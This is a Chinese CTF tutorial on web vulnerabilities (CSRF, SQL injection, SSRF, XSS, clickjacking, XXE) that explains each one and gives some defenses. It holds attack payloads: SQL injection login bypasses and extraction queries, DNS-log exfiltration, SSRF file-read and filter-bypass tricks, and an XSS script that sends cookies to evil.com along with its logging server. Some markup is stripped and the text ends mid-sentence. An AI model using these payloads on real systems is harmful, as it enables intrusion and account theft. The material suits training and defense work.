CTF之web安全

web安全

CSRF 简介

CSRF,全名 Cross Site Request Forgery,跨站请求伪造。很容易将它与 XSS 混淆,对于 CSRF,其两个关键点是跨站点的请求与请求的伪造,由于目标站无 token 或 referer 防御,导致用户的敏感操作的每一个参数都可以被攻击者获知,攻击者即可以伪造一个完全一样的请求以用户的身份达到恶意目的。

CSRF 类型

按请求类型,可分为 GET 型和 POST 型。

按攻击方式,可分为 HTML CSRF、JSON HiJacking、Flash CSRF 等。

HTML CSRF

利用 HTML 元素发出 CSRF 请求,这是最常见的 CSRF 攻击。

HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求,如:

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src="">script>
<bgsound src="">bgsound>
<embed src="">bgsound>
<video src="">video>
<audio src="">audio>
<a href="">a>
<table background="">table>
......

还有 CSS 样式中的:

@import ""
background:url("")
......

也可使用表单来对 POST 型的请求进行伪造。

<form action="http://www.a.com/register" id="register" method="post">
  <input type=text name="username" value="" />
  <input type=password name="password" value="" />
form>
<script>
  var f = document.getElementById("register");
  f.inputs[0].value = "test";
  f.inputs[1].value = "passwd";
  f.submit();
script>

Flash CSRF

Flash 也有各种方式可以发起网络请求,包括 POST。

import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://target/page");
var param = new URLVariables();
param = "test=123";
url.method = "POST";
url.data = param;
sendToURL(url);
stop();

Flash 中还可以使用 getURLloadVars 等方式发起请求。

req = new LoadVars();
req.addRequestHeader("foo", "bar");
req.send("http://target/page?v1=123&v2=222", "_blank", "GET");

CSRF 的防御

验证码

验证码强制用户必须与应用进行交互,才能完成最终请求。

Referer Check

检查请求是否来自合法的源。但服务器并非什么时候都能取得 Referer。

Token

CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。

保持原参数不变,新增一个参数 Token,值是随机的,在实际应用中,Token 可以放在用户的 Session 中,或浏览器的 Cookies 中。

Token 一定要足够随机。此外,Token 的目的不是为了防止重复提交,所以为了使用方便,可以允许在一个用户的有效生命周期内,在 Token 消耗掉之前都使用同一个 Token,但如果用户已经提交了表单,则这个 Token 已经消耗掉,应该重新生成 Token。

Token 还应注意其保密性,如果 Token 出现在 URL 中,则可能会通过 Referer 泄露,应尽量把 Token 放在表单中,把敏感操作由 GET 改为 POST,以表单或 AJAX 的形式提交,避免 Token 泄露。

intorduction

随着 WEB 2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于 WEB 环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在 WEB 平台上,WEB 业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是 WEB 安全威胁的凸显,黑客利用网站操作系统的漏洞和 WEB 服务程序的漏洞得到 WEB 服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。

在 CTF 竞赛中,WEB 也是占比重很大的一个方向之一,WEB 类的题目种类繁多,知识点细碎,时效性强,能紧跟时下热点漏洞,贴近实战。

WEB 类的题目包括但不限于:SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造、文件上传、文件包含、框架安全、PHP 常见漏洞、代码审计等。

SQL 注入

通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中

XSS 跨站脚本攻击

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

命令执行

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 systemexecshell_exec 等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。这里还是主要以 PHP 为主介绍命令执行漏洞,Java 等应用的细节待补充。

文件包含

如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。

CSRF 跨站请求伪造

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以 CSRF 攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF 可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时 CSRF 则可能威胁到整个 WEB 系统的安全。

SSRF 服务器端请求伪造

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

文件上传

在网站的运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。

点击劫持

Clickjacking(点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在 2008 年首创的。

是一种视觉欺骗手段,在 WEB 端就是 iframe 嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。

由于点击劫持的出现,便出现了反 frame 嵌套的方式,因为点击劫持需要 iframe 嵌套页面来攻击。

下面代码是最常见的防止 frame 嵌套的例子:

if(top.location!=location)
    top.location=self.location;

VPS 虚拟专用服务器

VPS(Virtual Private Server 虚拟专用服务器)技术,将一部服务器分割成多个虚拟专享服务器的优质服务。实现 VPS 的技术分为容器技术,和虚拟化技术。在容器或虚拟机中,每个 VPS 都可分配独立公网 IP 地址、独立操作系统、实现不同 VPS 间磁盘空间、内存、CPU 资源、进程和系统配置的隔离,为用户和应用程序模拟出独占使用计算资源的体验。VPS 可以像独立服务器一样,重装操作系统,安装程序,单独重启服务器。VPS 为使用者提供了管理配置的自由,可用于企业虚拟化,也可以用于 IDC 资源租用。

IDC 资源租用,由 VPS 提供商提供。不同 VPS 提供商所使用的硬件 VPS 软件的差异,及销售策略的不同,VPS 的使用体验也有较大差异。尤其是 VPS 提供商超卖,导致实体服务器超负荷时,VPS 性能将受到极大影响。相对来说,容器技术比虚拟机技术硬件使用效率更高,更易于超卖,所以一般来说容器 VPS 的价格都低于虚拟机 VPS 的价格。

条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

XXE

XXE Injection 即 XML External Entity Injection,也就是 XML 外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。

在 XML 1.0 标准里,XML 文档结构⾥里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了「污染」源,在对 XML 文档处理后则可能导致信息泄漏等安全问题。

XSCH

由于网站开发者在使用 Flash、Silverlight 等进行开发的过程中的疏忽,没有对跨域策略文件(crossdomain.xml)进行正确的配置导致问题产生。 例如:

<cross-domain-policy>
    <allow-access-from domain=“*”/>
cross-domain-policy>

因为跨域策略文件配置为 *,也就指任意域的 Flash 都可以与它交互,导致可以发起请求、获取数据。

越权(功能级访问缺失)

越权漏洞是 WEB 应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。

敏感信息泄露

敏感信息指不为公众所知悉,具有实际和潜在利用价值,丢失、不当使用或未经授权访问对社会、企业或个人造成危害的信息。包括:个人隐私信息、业务经营信息、财务信息、人事信息、IT 运维信息等。
泄露途径包括 Github、百度文库、Google code、网站目录等。

错误的安全配置

Security Misconfiguration:有时候,使用默认的安全配置可能会导致应用程序容易遭受多种攻击。在已经部署的应用、WEB 服务器、数据库服务器、操作系统、代码库以及所有和应用程序相关的组件中,都应该使用现有的最佳安全配置,这一点至关重要。

WAF

Web 应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。利用国际上公认的一种说法:WEB 应用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 WEB 应用提供保护的一款产品。

IDS

IDS 是英文 Intrusion Detection Systems 的缩写,中文意思是「入侵检测系统」。专业上讲就是依照一定的安全策略,通过软、硬件,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。做一个形象的比喻:假如防火墙是一幢大楼的门锁,那么 IDS 就是这幢大楼里的监视系统。一旦小偷爬窗进入大楼,或内部人员有越界行为,只有实时监视系统才能发现情况并发出警告。

IPS

入侵防御系统(IPS:Intrusion Prevention System)是电脑网络安全设施,是对防病毒软件(Antivirus Programs)和防火墙(Packet Filter,Application Gateway)的补充。入侵预防系统(Intrusion-prevention system)是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。

sqli

基本概念

  • SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
  • 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
  • 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。

常用工具

  • Burp Suite:Burp Suite 使用介绍
  • Tamper Data (Firefox addon)
  • HackBar (Firefox addon)
  • sqlmap:sqlmap 用户手册

注入常见参数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径
  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex()unhex():用于 hex 编码解码
  • load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
  • select xxoo into outfile '路径':权限较高时可直接写文件

语法参考与小技巧

行间注释

  • --
DROP sampletable;--
  • #
DROP sampletable;#

行内注释

  • /*注释内容*/
DROP/*comment*/sampletable`   DR/**/OP/*绕过过滤*/sampletable`   SELECT/*替换空格*/password/**/FROM/**/Members
  • /*! MYSQL专属 */
SELECT /*!32302 1/0, */ 1 FROM tablename

字符串编码

  • ASCII():返回字符的 ASCII 码值
  • CHAR():把整数转换为对应的字符

后台万能密码

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入语句备忘

数据库名

SELECT database();
SELECT schema_name FROM information_schema.schemata;

表名

  • union 查询
--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
  • 盲注
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
  • 报错
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
-- 在5.1.5版本中成功。

列名

  • union 查询
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
  • 盲注
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
  • 报错
-- 在5.1.5版本中成功
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
-- MySQL 5.1版本修复了
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
  • 利用 PROCEDURE ANALYSE()
-- 这个需要 web 展示页面有你所注入查询的一个字段
-- 获得第一个段名
SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()
-- 获得第二个段名
1 LIMIT 1,1 PROCEDURE ANALYSE()
-- 获得第三个段名
1 LIMIT 2,1 PROCEDURE ANALYSE()

根据列名查询所在的表

-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

绕过引号限制

-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

条件语句

CASE, IF(), IFNULL(), NULLIF().

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

延时函数

SLEEP(), BENCHMARK().

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

order by 后的注入

order by 由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 order 或者 order by 的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

原始链接:http://www.test.com/list.php?order=vote

根据 vote 字段排序。找到投票数最大的票数 num 然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否变化。还有一种方法不需要知道任何字段信息,使用 rand 函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

宽字节注入

国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27%bf%5c
在 GBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

DNSLOG注入

DNS在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

dnslog平台:http://ceye.io/

mysql> use security;
Database changed

mysql> select load_file('\\\\test.xxx.ceye.io\\abc');
+-------------------------------------------+
| load_file('\\\\test.xxx.ceye.io\\abc') |
+-------------------------------------------+
| NULL                                      |
+-------------------------------------------+
1 row in set (22.05 sec)

mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |
+----------------------------------------------------------------------+
| NULL                                                                 |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)

SSRF 简介

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

SSRF 漏洞出现的场景

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

常用的后端实现

  1. file_get_contents

if (isset($_POST['url'])) { 
    $content = file_get_contents($_POST['url']); 
    $filename ='./images/'.rand().';img1.jpg'; 
    file_put_contents($filename, $content); 
    echo $_POST['url']; 
    $img = ".$filename."\"/>"; 
}
echo $img;
?>

这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。

  1. fsockopen()
 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

这段代码使用 fsockopen 函数实现获取用户制定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。
2. curl_exec()

 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

使用 curl 获取数据。

阻碍 SSRF 漏洞利用的场景

  • 服务器开启 OpenSSL 无法进行交互利用
  • 服务端需要鉴权(Cookies & User:Pass)不能完美利用
  • 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
  • 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

利用 SSRF 进行端口扫描

根据服务器的返回信息进行判断,大部分应用不会判别端口,可通过返回的 banner 信息判断端口状态。

后端实现

 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $filename = './curled/'.rand().'txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename)); 
    fclose($fp);
    echo $result;
}
?>

构造一个前端页面

<html>
<body>
  <form name="px" method="post" action="http://127.0.0.1/ss.php">
    <input type="text" name="url" value="">
    <input type="submit" name="commit" value="submit">
  form>
  <script>script>
body>
html>

请求非 HTTP 的端口可以返回 banner 信息。

或可利用 302 跳转绕过 HTTP 协议的限制。

辅助脚本


$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

腾讯某处 SSRF 漏洞(非常好的利用点)附利用脚本

协议利用

  • Dict 协议
dict://fuzz.wuyun.org:8080/helo:dict
  • Gopher 协议
gopher://fuzz.wuyun.org:8080/gopher
  • File 协议
file:///etc/passwd

绕过姿势

  1. 更改IP地址写法

例如192.168.0.1

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
  1. 利用URL解析问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

例如:

  • http://[email protected]/http://192.168.0.1请求的都是192.168.0.1的内容
  • 可以指向任意ip的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/
  • 短地址http://dwz.cn/11SMa==>http://127.0.0.1
  • 利用句号127。0。0。1==>127.0.0.1
  • 利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

危害

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
  • 攻击运行在内网或本地的应用程序(比如溢出);
  • 对内网web应用进行指纹识别,通过访问默认文件实现;
  • 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
  • 利用file协议读取本地文件等。

XSS 简介

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

反射型 XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

服务器端代码:

 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '
Hello ' . $_GET[ 'name' ] . '
'
; } ?>

可以看到,代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。

持久型 XSS

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

服务器端代码:


  if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    // Sanitize name input
    $name = mysql_real_escape_string( $name );
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '
' . mysql_error() . '
'
); //mysql_close(); } ?>

代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。

DOM XSS

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

HTML 代码:

<html>
  <head>
    <title>DOM-XSS testtitle>
  head>
  <body>
    <script>
      var a=document.URL;
      document.write(a.substring(a.indexOf("a=")+2,a.length));
    script>
  body>
html>

将代码保存在 domXSS.html 中,浏览器访问:

http://127.0.0.1/domXSS.html?a=

即可触发 XSS 漏洞。

XSS 利用方式

Cookies 窃取

攻击者可以使用以下代码获取客户端的 Cookies 信息:

<script>
document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
script>
img>

在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:

<%
  msg=Request.ServerVariables("QUERY_STRING")
  testfile=Server.MapPath("cookie.txt")
  set fs=server.CreateObject("Scripting.filesystemobject")
  set thisfile=fs.OpenTextFile(testfile,8,True,0)
  thisfile.Writeline(""&msg& "")
  thisfile.close
  set fs=nothing
%>

$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。

会话劫持

由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。

如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。

比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。

钓鱼

  • 重定向钓鱼

把当前页面重定向到一个钓鱼页面。

http://www.bug.com/index.php?search="'>
  • HTML 注入式钓鱼

使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。

http://www.bug.com/index.php?search="'login
Login:
Password:



该段代码会在正常页面中嵌入一个 Form 表单。

  • iframe 钓鱼

这种方式是通过

  • Flash 钓鱼

将构造好的 Flash 文件传入服务器,在目标网站用 标签引用即可。

  • 高级钓鱼技术

注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。

网页挂马

一般都是通过篡改网页的方式来实现的,如在 XSS 中使用